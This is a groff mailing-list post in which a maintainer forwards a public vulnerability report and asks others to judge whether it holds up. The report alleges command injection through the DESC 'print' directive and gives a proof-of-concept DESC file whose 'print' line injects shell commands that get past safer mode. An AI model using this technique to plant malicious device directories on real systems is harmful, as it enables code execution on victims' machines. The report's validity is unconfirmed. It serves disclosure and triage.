Hi folks,

The following came in today (25 May) on the bug-groff list.  (I wouldn't
have approved the message, as I feel it's supposed to be a read-only
reflector of the Savannah bug tracker; but one of the other moderators
did, I assume, and that's okay.)

In any case it's obviously not embargoed or sensitive since it's already
public, and in this new era of AI/LLM-crafted vulnerability reports, the
age of the embargoed vulnerability disclosure is just about over.[1]

Would anyone care to study this report and assess its validity?

I have my own preliminary assessment but I want to hear others' views.

Regards,
Branden

[1] https://lwn.net/Articles/1070698/

----- Forwarded message from Ismaël <[email protected]> -----

Date: Mon, 25 May 2026 12:00:35 +0200
From: Ismaël <[email protected]>
To: [email protected]
Message-ID: <cadgzcx_pdnqunrtckffjjb5gb50e_4sqs4pttpdfrjwsnms...@mail.gmail.com>
Subject: [email protected]

Hello groff maintainers,

I am writing to report a security vulnerability I discovered in GNU groff.

*Summary*

A command injection vulnerability exists in groff's handling of the "print"
directive in device description (DESC) files. This allows arbitrary command
execution even when "safer" mode is enabled.

*Vulnerability Details*

Type: Command Injection (CWE-78)
Affected Component: src/roff/groff/groff.cpp
Affected Lines: 582-587 (input), 475-480 (execution)
CVSS 3.1 Score: 7.8 (High)
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

*Description*

The "print" directive in DESC files is read without sanitization:

spooler = xstrdup(arg);

It is later passed directly to /bin/sh -c:

commands[SPOOL_INDEX].set_name(BSHELL);
commands[SPOOL_INDEX].append_arg(BSHELL_DASH_C);
Largs = spooler + Largs;
commands[SPOOL_INDEX].append_arg(Largs.contents());

This allows shell metacharacters such as ;, |, and & to be injected and
executed.

*Security Model Inconsistency*

Other command execution features are correctly blocked in "safer" mode:

   -

   .sy (system request) — blocked
   -

   .pi (pipe output) — blocked

However, the print directive remains executable, which creates an
inconsistency in the security model and bypasses the intended protection
offered by safer mode.

*Proof of Concept*

   1.

   Create a malicious device directory:

mkdir -p /tmp/evil/devpwn


   2.

   Create a malicious DESC file:

cat > /tmp/evil/devpwn/DESC << 'EOF'
res 72000
hor 1
vert 1
sizescale 1000
unitwidth 1000
sizes 1000-10000000 0
styles R I B BI
family T
fonts 1 TR
postpro cat
print id; whoami; echo "PWNED"
EOF


   3.

   Copy a required font:

cp /usr/share/groff/current/font/devps/TR /tmp/evil/devpwn/


   4.

   Trigger execution, even with safer mode enabled:

echo ".PP" > /tmp/evil/test.ms
GROFF_FONT_PATH=/tmp/evil groff -S -l -Tpwn /tmp/evil/test.ms


   1. Result:

uid=1000(user) gid=1000(user) groups=1000(user)
user
PWNED

*Attack Scenarios*

   1.

   Malicious archive
   An attacker distributes a tarball containing a malicious groff device. A
   victim extracts it and uses groff -l.
   2.

   Supply chain compromise
   A compromised groff device or font package could execute arbitrary
   commands.
   3.

   Shared systems
   On multi-user systems, an attacker may place a malicious device in a
   shared font path.

*Impact*

Confidentiality: High — arbitrary file read access within user permissions
Integrity: High — arbitrary file modification or creation
Availability: High — arbitrary command execution can disrupt the system

*Suggested Fixes*

Option 1: Block spooler execution in safer mode

if (!want_unsafe_requests && spooler) {
    error("spooler command not allowed in safer mode");
    spooler = NULL;
}

Option 2: Avoid shell interpretation

Use execve() (or equivalent) instead of /bin/sh -c.

Option 3: Restrict accepted values

Allow only simple command names without shell metacharacters or arguments.

Affected Versions

I tested this issue on groff 1.23.0 (Ubuntu 24.04). The vulnerability
appears to affect all versions supporting the print directive.

*Contact*

Please let me know if you need any additional information or assistance
testing patches.

I would appreciate being credited in any future security advisory or CVE
assignment.

Best regards,

Ismaël

----- End forwarded message -----

Attachment: signature.asc
Description: PGP signature

Reply via email to